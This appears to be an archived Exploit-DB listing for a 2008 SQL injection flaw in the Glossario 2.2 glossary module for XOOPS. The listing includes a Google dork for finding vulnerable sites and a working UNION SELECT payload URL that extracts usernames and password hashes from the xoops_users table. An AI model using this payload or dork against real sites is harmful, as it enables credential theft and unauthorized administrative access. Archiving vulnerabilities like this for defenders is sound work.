XOOPS module glossaires SQL Injection

vendor:

Glossario

by:

S@BUN

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Glossario

Affected Version From: 2.2

Affected Version To: 2.2

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

XOOPS module glossaires SQL Injection

The vulnerability exists due to insufficient filtration of user-supplied data passed to the 'op' and 'sid' parameters in 'glossaires-p-f.php' script. A remote attacker can send a specially crafted request to the vulnerable script and execute arbitrary SQL commands in application's database. This can be exploited to bypass authentication and gain access to the administrative panel.

Mitigation:

Input validation should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

###############################################################
#
###########XOOPS module glossaires SQL Injection
#
###############################################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####MAiL : hackturkiye.hackturkiye@gmail.com
#
################################################################
#
##DORK 1 : allinurl: "modules/glossaires"
#
################################################################
EXPLOIT :

modules/glossaires/glossaires-p-f.php?op=ImprDef&sid=99999/**/union/**/select/**/000,pass,uname,pass/**/from/**/xoops_users/*where%20terme

################################################################
##S@BUN#############i AM NOT HACKER##########S@BUN#########
################################################################
##S@BUN######hackturkiye.hackturkiye@gmail.com####S@BUN#########
################################################################

side note:
Glossario 2.2 Per Xoops 2.X Ã¨ stato adattato da Martialito da http://www.toplenet.com

# milw0rm.com [2008-03-06]